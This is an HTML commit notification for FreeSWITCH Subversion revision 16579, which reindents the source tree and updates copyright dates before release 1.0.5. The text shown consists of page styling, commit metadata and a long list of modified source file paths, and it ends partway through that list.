<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>[Freeswitch-trunk][16579] </title>
</head>
<body>
<style type="text/css"><!--
#msg dl.meta { border: 1px #006 solid; background: #369; padding: 6px; color: #fff; }
#msg dl.meta dt { float: left; width: 6em; font-weight: bold; }
#msg dt:after { content:':';}
#msg dl, #msg dt, #msg ul, #msg li, #header, #footer, #logmsg { font-family: verdana,arial,helvetica,sans-serif; font-size: 10pt; }
#msg dl a { font-weight: bold}
#msg dl a:link { color:#fc3; }
#msg dl a:active { color:#ff0; }
#msg dl a:visited { color:#cc6; }
h3 { font-family: verdana,arial,helvetica,sans-serif; font-size: 10pt; font-weight: bold; }
#msg pre { overflow: auto; background: #ffc; border: 1px #fa0 solid; padding: 6px; }
#logmsg { background: #ffc; border: 1px #fa0 solid; padding: 1em 1em 0 1em; }
#logmsg p, #logmsg pre, #logmsg blockquote { margin: 0 0 1em 0; }
#logmsg p, #logmsg li, #logmsg dt, #logmsg dd { line-height: 14pt; }
#logmsg h1, #logmsg h2, #logmsg h3, #logmsg h4, #logmsg h5, #logmsg h6 { margin: .5em 0; }
#logmsg h1:first-child, #logmsg h2:first-child, #logmsg h3:first-child, #logmsg h4:first-child, #logmsg h5:first-child, #logmsg h6:first-child { margin-top: 0; }
#logmsg ul, #logmsg ol { padding: 0; list-style-position: inside; margin: 0 0 0 1em; }
#logmsg ul { text-indent: -1em; padding-left: 1em; }#logmsg ol { text-indent: -1.5em; padding-left: 1.5em; }
#logmsg > ul, #logmsg > ol { margin: 0 0 1em 0; }
#logmsg pre { background: #eee; padding: 1em; }
#logmsg blockquote { border: 1px solid #fa0; border-left-width: 10px; padding: 1em 1em 0 1em; background: white;}
#logmsg dl { margin: 0; }
#logmsg dt { font-weight: bold; }
#logmsg dd { margin: 0; padding: 0 0 0.5em 0; }
#logmsg dd:before { content:'\00bb';}
#logmsg table { border-spacing: 0px; border-collapse: collapse; border-top: 4px solid #fa0; border-bottom: 1px solid #fa0; background: #fff; }
#logmsg table th { text-align: left; font-weight: normal; padding: 0.2em 0.5em; border-top: 1px dotted #fa0; }
#logmsg table td { text-align: right; border-top: 1px dotted #fa0; padding: 0.2em 0.5em; }
#logmsg table thead th { text-align: center; border-bottom: 1px solid #fa0; }
#logmsg table th.Corner { text-align: left; }
#logmsg hr { border: none 0; border-top: 2px dashed #fa0; height: 1px; }
#header, #footer { color: #fff; background: #636; border: 1px #300 solid; padding: 6px; }
#patch { width: 100%; }
#patch h4 {font-family: verdana,arial,helvetica,sans-serif;font-size:10pt;padding:8px;background:#369;color:#fff;margin:0;}
#patch .propset h4, #patch .binary h4 {margin:0;}
#patch pre {padding:0;line-height:1.2em;margin:0;}
#patch .diff {width:100%;background:#eee;padding: 0 0 10px 0;overflow:auto;}
#patch .propset .diff, #patch .binary .diff {padding:10px 0;}
#patch span {display:block;padding:0 10px;}
#patch .modfile, #patch .addfile, #patch .delfile, #patch .propset, #patch .binary, #patch .copfile {border:1px solid #ccc;margin:10px 0;}
#patch ins {background:#dfd;text-decoration:none;display:block;padding:0 10px;}
#patch del {background:#fdd;text-decoration:none;display:block;padding:0 10px;}
#patch .lines, .info {color:#888;background:#fff;}
--></style>
<div id="msg">
<div id="header">FreeSWITCH Subversion</div>
<dl class="meta">
<dt>Revision</dt> <dd><a href="http://fisheye.freeswitch.org/changelog/FreeSWITCH?cs=16579">16579</a></dd>
<dt>Author</dt> <dd>anthm</dd>
<dt>Date</dt> <dd>2010-02-05 21:38:24 -0600 (Fri, 05 Feb 2010)</dd>
</dl>
<h3>Log Message</h3>
<pre>run indent on the whole tree and update copyright dates in prep for 1.0.5</pre>
<h3>Modified Paths</h3>
<ul>
<li><a href="#freeswitchtrunkbuildindent_optionssh">freeswitch/trunk/build/indent_options.sh</a></li>
<li><a href="#freeswitchtrunksrcg711c">freeswitch/trunk/src/g711.c</a></li>
<li><a href="#freeswitchtrunksrcincludeSimpleGlobh">freeswitch/trunk/src/include/SimpleGlob.h</a></li>
<li><a href="#freeswitchtrunksrcincludeprivateswitch_core_pvth">freeswitch/trunk/src/include/private/switch_core_pvt.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitchh">freeswitch/trunk/src/include/switch.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_aprh">freeswitch/trunk/src/include/switch_apr.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_bitpackh">freeswitch/trunk/src/include/switch_bitpack.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_bufferh">freeswitch/trunk/src/include/switch_buffer.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_callerh">freeswitch/trunk/src/include/switch_caller.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_channelh">freeswitch/trunk/src/include/switch_channel.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_configh">freeswitch/trunk/src/include/switch_config.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_consoleh">freeswitch/trunk/src/include/switch_console.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_coreh">freeswitch/trunk/src/include/switch_core.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_core_dbh">freeswitch/trunk/src/include/switch_core_db.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_core_event_hookh">freeswitch/trunk/src/include/switch_core_event_hook.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_dsoh">freeswitch/trunk/src/include/switch_dso.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_eventh">freeswitch/trunk/src/include/switch_event.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_frameh">freeswitch/trunk/src/include/switch_frame.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_ivrh">freeswitch/trunk/src/include/switch_ivr.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_loadable_moduleh">freeswitch/trunk/src/include/switch_loadable_module.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_logh">freeswitch/trunk/src/include/switch_log.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_module_interfacesh">freeswitch/trunk/src/include/switch_module_interfaces.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_mprintfh">freeswitch/trunk/src/include/switch_mprintf.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_nath">freeswitch/trunk/src/include/switch_nat.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_odbch">freeswitch/trunk/src/include/switch_odbc.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_platformh">freeswitch/trunk/src/include/switch_platform.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_regexh">freeswitch/trunk/src/include/switch_regex.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_resampleh">freeswitch/trunk/src/include/switch_resample.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_rtph">freeswitch/trunk/src/include/switch_rtp.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_schedulerh">freeswitch/trunk/src/include/switch_scheduler.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_stunh">freeswitch/trunk/src/include/switch_stun.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_typesh">freeswitch/trunk/src/include/switch_types.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_utilsh">freeswitch/trunk/src/include/switch_utils.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_xmlh">freeswitch/trunk/src/include/switch_xml.h</a></li>
<li><a href="#freeswitchtrunksrcincludeswitch_xml_configh">freeswitch/trunk/src/include/switch_xml_config.h</a></li>
<li><a href="#freeswitchtrunksrcinet_ptonc">freeswitch/trunk/src/inet_pton.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_cidlookupmod_cidlookupc">freeswitch/trunk/src/mod/applications/mod_cidlookup/mod_cidlookup.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_cluechoomod_cluechooc">freeswitch/trunk/src/mod/applications/mod_cluechoo/mod_cluechoo.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_commandsmod_commandsc">freeswitch/trunk/src/mod/applications/mod_commands/mod_commands.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_conferencemod_conferencec">freeswitch/trunk/src/mod/applications/mod_conference/mod_conference.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_curlmod_curlc">freeswitch/trunk/src/mod/applications/mod_curl/mod_curl.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_directorymod_directoryc">freeswitch/trunk/src/mod/applications/mod_directory/mod_directory.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_distributormod_distributorc">freeswitch/trunk/src/mod/applications/mod_distributor/mod_distributor.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_dptoolsmod_dptoolsc">freeswitch/trunk/src/mod/applications/mod_dptools/mod_dptools.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_easyroutemod_easyroutec">freeswitch/trunk/src/mod/applications/mod_easyroute/mod_easyroute.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_enummod_enumc">freeswitch/trunk/src/mod/applications/mod_enum/mod_enum.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_esfmod_esfc">freeswitch/trunk/src/mod/applications/mod_esf/mod_esf.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_exprconioh">freeswitch/trunk/src/mod/applications/mod_expr/conio.h</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_exprexprevalh">freeswitch/trunk/src/mod/applications/mod_expr/expreval.h</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_exprexprilfsh">freeswitch/trunk/src/mod/applications/mod_expr/exprilfs.h</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_exprexprmemh">freeswitch/trunk/src/mod/applications/mod_expr/exprmem.h</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_exprexprprivh">freeswitch/trunk/src/mod/applications/mod_expr/exprpriv.h</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_exprmod_exprc">freeswitch/trunk/src/mod/applications/mod_expr/mod_expr.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_faxmod_faxc">freeswitch/trunk/src/mod/applications/mod_fax/mod_fax.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_fifomod_fifoc">freeswitch/trunk/src/mod/applications/mod_fifo/mod_fifo.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_fsvmod_fsvc">freeswitch/trunk/src/mod/applications/mod_fsv/mod_fsv.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_lcrmod_lcrc">freeswitch/trunk/src/mod/applications/mod_lcr/mod_lcr.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_limitmod_limitc">freeswitch/trunk/src/mod/applications/mod_limit/mod_limit.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_memcachemod_memcachec">freeswitch/trunk/src/mod/applications/mod_memcache/mod_memcache.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_nibblebillmod_nibblebillc">freeswitch/trunk/src/mod/applications/mod_nibblebill/mod_nibblebill.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_rssmod_rssc">freeswitch/trunk/src/mod/applications/mod_rss/mod_rss.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_skelmod_skelc">freeswitch/trunk/src/mod/applications/mod_skel/mod_skel.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_snapshotmod_snapshotc">freeswitch/trunk/src/mod/applications/mod_snapshot/mod_snapshot.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_snipe_huntmod_snipe_huntc">freeswitch/trunk/src/mod/applications/mod_snipe_hunt/mod_snipe_hunt.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_snommod_snomc">freeswitch/trunk/src/mod/applications/mod_snom/mod_snom.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_soundtouchmod_soundtouchcpp">freeswitch/trunk/src/mod/applications/mod_soundtouch/mod_soundtouch.cpp</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_spymod_spyc">freeswitch/trunk/src/mod/applications/mod_spy/mod_spy.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_stressFFTRealh">freeswitch/trunk/src/mod/applications/mod_stress/FFTReal.h</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_stressmod_stresscpp">freeswitch/trunk/src/mod/applications/mod_stress/mod_stress.cpp</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_t38gatewaymod_t38gatewayc">freeswitch/trunk/src/mod/applications/mod_t38gateway/mod_t38gateway.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_t38gatewayudptlc">freeswitch/trunk/src/mod/applications/mod_t38gateway/udptl.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_t38gatewayudptlh">freeswitch/trunk/src/mod/applications/mod_t38gateway/udptl.h</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_valet_parkingmod_valet_parkingc">freeswitch/trunk/src/mod/applications/mod_valet_parking/mod_valet_parking.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_vmdmod_vmdc">freeswitch/trunk/src/mod/applications/mod_vmd/mod_vmd.c</a></li>
<li><a href="#freeswitchtrunksrcmodapplicationsmod_voicemailmod_voicemailc">freeswitch/trunk/src/mod/applications/mod_voicemail/mod_voicemail.c</a></li>
<li><a href="#freeswitchtrunksrcmodasr_ttsmod_cepstralmod_cepstralc">freeswitch/trunk/src/mod/asr_tts/mod_cepstral/mod_cepstral.c</a></li>
<li><a href="#freeswitchtrunksrcmodasr_ttsmod_flitemod_flitec">freeswitch/trunk/src/mod/asr_tts/mod_flite/mod_flite.c</a></li>
<li><a href="#freeswitchtrunksrcmodasr_ttsmod_pocketsphinxmod_pocketsphinxc">freeswitch/trunk/src/mod/asr_tts/mod_pocketsphinx/mod_pocketsphinx.c</a></li>
<li><a href="#freeswitchtrunksrcmodasr_ttsmod_tts_commandlinemod_tts_commandlinec">freeswitch/trunk/src/mod/asr_tts/mod_tts_commandline/mod_tts_commandline.c</a></li>
<li><a href="#freeswitchtrunksrcmodasr_ttsmod_unimrcpmod_unimrcpc">freeswitch/trunk/src/mod/asr_tts/mod_unimrcp/mod_unimrcp.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_amrmod_amrc">freeswitch/trunk/src/mod/codecs/mod_amr/mod_amr.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_amrwbmod_amrwbc">freeswitch/trunk/src/mod/codecs/mod_amrwb/mod_amrwb.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_bvmod_bvc">freeswitch/trunk/src/mod/codecs/mod_bv/mod_bv.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_celtmod_celtc">freeswitch/trunk/src/mod/codecs/mod_celt/mod_celt.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_dahdi_codecmod_dahdi_codecc">freeswitch/trunk/src/mod/codecs/mod_dahdi_codec/mod_dahdi_codec.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_g723_1mod_g723_1c">freeswitch/trunk/src/mod/codecs/mod_g723_1/mod_g723_1.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_g729mod_g729c">freeswitch/trunk/src/mod/codecs/mod_g729/mod_g729.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_h26xmod_h26xc">freeswitch/trunk/src/mod/codecs/mod_h26x/mod_h26x.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_ilbcmod_ilbcc">freeswitch/trunk/src/mod/codecs/mod_ilbc/mod_ilbc.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_sirenmod_sirenc">freeswitch/trunk/src/mod/codecs/mod_siren/mod_siren.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_skel_codecmod_skel_codecc">freeswitch/trunk/src/mod/codecs/mod_skel_codec/mod_skel_codec.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_speexmod_speexc">freeswitch/trunk/src/mod/codecs/mod_speex/mod_speex.c</a></li>
<li><a href="#freeswitchtrunksrcmodcodecsmod_voipcodecsmod_voipcodecsc">freeswitch/trunk/src/mod/codecs/mod_voipcodecs/mod_voipcodecs.c</a></li>
<li><a href="#freeswitchtrunksrcmoddialplansmod_dialplan_asteriskmod_dialplan_asteriskc">freeswitch/trunk/src/mod/dialplans/mod_dialplan_asterisk/mod_dialplan_asterisk.c</a></li>
<li><a href="#freeswitchtrunksrcmoddialplansmod_dialplan_directorymod_dialplan_directoryc">freeswitch/trunk/src/mod/dialplans/mod_dialplan_directory/mod_dialplan_directory.c</a></li>
<li><a href="#freeswitchtrunksrcmoddialplansmod_dialplan_xmlmod_dialplan_xmlc">freeswitch/trunk/src/mod/dialplans/mod_dialplan_xml/mod_dialplan_xml.c</a></li>
<li><a href="#freeswitchtrunksrcmoddirectoriesmod_ldapmod_ldapc">freeswitch/trunk/src/mod/directories/mod_ldap/mod_ldap.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_alsamod_alsac">freeswitch/trunk/src/mod/endpoints/mod_alsa/mod_alsa.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_dingalingmod_dingalingc">freeswitch/trunk/src/mod/endpoints/mod_dingaling/mod_dingaling.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_h323mod_h323h">freeswitch/trunk/src/mod/endpoints/mod_h323/mod_h323.h</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_loopbackmod_loopbackc">freeswitch/trunk/src/mod/endpoints/mod_loopback/mod_loopback.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_opalmod_opalh">freeswitch/trunk/src/mod/endpoints/mod_opal/mod_opal.h</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_portaudiomod_portaudioc">freeswitch/trunk/src/mod/endpoints/mod_portaudio/mod_portaudio.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_portaudiopablioc">freeswitch/trunk/src/mod/endpoints/mod_portaudio/pablio.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_portaudiopablioh">freeswitch/trunk/src/mod/endpoints/mod_portaudio/pablio.h</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_referencemod_referencec">freeswitch/trunk/src/mod/endpoints/mod_reference/mod_reference.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_skypiaxalsadummyc">freeswitch/trunk/src/mod/endpoints/mod_skypiax/alsa/dummy.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_skypiaxasteriskchan_skypiaxc">freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/chan_skypiax.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_skypiaxasteriskcyg_no_pthread_killc">freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/cyg_no_pthread_kill.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_skypiaxasteriskskypiaxh">freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/skypiax.h</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_skypiaxconfigsclientc">freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/client.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_skypiaxconfigsskypiax_authc">freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/skypiax_auth.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_skypiaxmod_skypiaxc">freeswitch/trunk/src/mod/endpoints/mod_skypiax/mod_skypiax.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_skypiaxskypiax_protocolc">freeswitch/trunk/src/mod/endpoints/mod_skypiax/skypiax_protocol.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_sofiamod_sofiac">freeswitch/trunk/src/mod/endpoints/mod_sofia/mod_sofia.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_sofiamod_sofiah">freeswitch/trunk/src/mod/endpoints/mod_sofia/mod_sofia.h</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_sofiasofiac">freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_sofiasofia_gluec">freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_glue.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_sofiasofia_presencec">freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_presence.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_sofiasofia_regc">freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_reg.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_sofiasofia_slac">freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_sla.c</a></li>
<li><a href="#freeswitchtrunksrcmodendpointsmod_unicallmod_unicallc">freeswitch/trunk/src/mod/endpoints/mod_unicall/mod_unicall.c</a></li>
<li><a href="#freeswitchtrunksrcmodevent_handlersmod_cdr_csvmod_cdr_csvc">freeswitch/trunk/src/mod/event_handlers/mod_cdr_csv/mod_cdr_csv.c</a></li>
<li><a href="#freeswitchtrunksrcmodevent_handlersmod_erlang_eventei_helpersc">freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/ei_helpers.c</a></li>
<li><a href="#freeswitchtrunksrcmodevent_handlersmod_erlang_eventhandle_msgc">freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/handle_msg.c</a></li>
<li><a href="#freeswitchtrunksrcmodevent_handlersmod_erlang_eventmod_erlang_eventc">freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.c</a></li>
<li><a href="#freeswitchtrunksrcmodevent_handlersmod_erlang_eventmod_erlang_eventh">freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.h</a></li>
<li><a href="#freeswitchtrunksrcmodevent_handlersmod_event_multicastmod_event_multicastc">freeswitch/trunk/src/mod/event_handlers/mod_event_multicast/mod_event_multicast.c</a></li>
<li><a href="#freeswitchtrunksrcmodevent_handlersmod_event_socketmod_event_socketc">freeswitch/trunk/src/mod/event_handlers/mod_event_socket/mod_event_socket.c</a></li>
<li><a href="#freeswitchtrunksrcmodevent_handlersmod_event_testmod_event_testc">freeswitch/trunk/src/mod/event_handlers/mod_event_test/mod_event_test.c</a></li>
<li><a href="#freeswitchtrunksrcmodevent_handlersmod_radius_cdrmod_radius_cdrc">freeswitch/trunk/src/mod/event_handlers/mod_radius_cdr/mod_radius_cdr.c</a></li>
<li><a href="#freeswitchtrunksrcmodformatsmod_file_stringmod_file_stringc">freeswitch/trunk/src/mod/formats/mod_file_string/mod_file_string.c</a></li>
<li><a href="#freeswitchtrunksrcmodformatsmod_local_streammod_local_streamc">freeswitch/trunk/src/mod/formats/mod_local_stream/mod_local_stream.c</a></li>
<li><a href="#freeswitchtrunksrcmodformatsmod_native_filemod_native_filec">freeswitch/trunk/src/mod/formats/mod_native_file/mod_native_file.c</a></li>
<li><a href="#freeswitchtrunksrcmodformatsmod_portaudio_streammod_portaudio_streamc">freeswitch/trunk/src/mod/formats/mod_portaudio_stream/mod_portaudio_stream.c</a></li>
<li><a href="#freeswitchtrunksrcmodformatsmod_shell_streammod_shell_streamc">freeswitch/trunk/src/mod/formats/mod_shell_stream/mod_shell_stream.c</a></li>
<li><a href="#freeswitchtrunksrcmodformatsmod_shoutmod_shoutc">freeswitch/trunk/src/mod/formats/mod_shout/mod_shout.c</a></li>
<li><a href="#freeswitchtrunksrcmodformatsmod_sndfilemod_sndfilec">freeswitch/trunk/src/mod/formats/mod_sndfile/mod_sndfile.c</a></li>
<li><a href="#freeswitchtrunksrcmodformatsmod_tone_streammod_tone_streamc">freeswitch/trunk/src/mod/formats/mod_tone_stream/mod_tone_stream.c</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_javafreeswitch_javah">freeswitch/trunk/src/mod/languages/mod_java/freeswitch_java.h</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_javamodjavac">freeswitch/trunk/src/mod/languages/mod_java/modjava.c</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_luafreeswitch_luah">freeswitch/trunk/src/mod/languages/mod_lua/freeswitch_lua.h</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_luamod_luacpp">freeswitch/trunk/src/mod/languages/mod_lua/mod_lua.cpp</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_luamod_lua_extrah">freeswitch/trunk/src/mod/languages/mod_lua/mod_lua_extra.h</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_luamy_swigable_cpph">freeswitch/trunk/src/mod/languages/mod_lua/my_swigable_cpp.h</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_managedfreeswitch_managedh">freeswitch/trunk/src/mod/languages/mod_managed/freeswitch_managed.h</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_perlfreeswitch_perlh">freeswitch/trunk/src/mod/languages/mod_perl/freeswitch_perl.h</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_perlmod_perlc">freeswitch/trunk/src/mod/languages/mod_perl/mod_perl.c</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_perlmod_perl_extrah">freeswitch/trunk/src/mod/languages/mod_perl/mod_perl_extra.h</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_pythonfreeswitch_pythonh">freeswitch/trunk/src/mod/languages/mod_python/freeswitch_python.h</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_pythonmod_pythonc">freeswitch/trunk/src/mod/languages/mod_python/mod_python.c</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_pythonmod_python_extrac">freeswitch/trunk/src/mod/languages/mod_python/mod_python_extra.c</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_pythonmod_python_extrah">freeswitch/trunk/src/mod/languages/mod_python/mod_python_extra.h</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkeyc">freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey.c</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkeyh">freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey.h</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkey_core_dbc">freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_core_db.c</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkey_curlc">freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_curl.c</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkey_odbcc">freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_odbc.c</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkey_skelc">freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_skel.c</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkey_socketc">freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_socket.c</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkey_teletonec">freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_teletone.c</a></li>
<li><a href="#freeswitchtrunksrcmodlanguagesmod_yamlmod_yamlc">freeswitch/trunk/src/mod/languages/mod_yaml/mod_yaml.c</a></li>
<li><a href="#freeswitchtrunksrcmodloggersmod_consolemod_consolec">freeswitch/trunk/src/mod/loggers/mod_console/mod_console.c</a></li>
<li><a href="#freeswitchtrunksrcmodloggersmod_logfilemod_logfilec">freeswitch/trunk/src/mod/loggers/mod_logfile/mod_logfile.c</a></li>
<li><a href="#freeswitchtrunksrcmodloggersmod_syslogmod_syslogc">freeswitch/trunk/src/mod/loggers/mod_syslog/mod_syslog.c</a></li>
<li><a href="#freeswitchtrunksrcmodsaymod_say_enmod_say_enc">freeswitch/trunk/src/mod/say/mod_say_en/mod_say_en.c</a></li>
<li><a href="#freeswitchtrunksrcmodsaymod_say_esmod_say_esc">freeswitch/trunk/src/mod/say/mod_say_es/mod_say_es.c</a></li>
<li><a href="#freeswitchtrunksrcmodsaymod_say_humod_say_huc">freeswitch/trunk/src/mod/say/mod_say_hu/mod_say_hu.c</a></li>
<li><a href="#freeswitchtrunksrcmodsaymod_say_itmod_say_itc">freeswitch/trunk/src/mod/say/mod_say_it/mod_say_it.c</a></li>
<li><a href="#freeswitchtrunksrcmodsaymod_say_rumod_say_ruc">freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.c</a></li>
<li><a href="#freeswitchtrunksrcmodsaymod_say_rumod_say_ruh">freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.h</a></li>
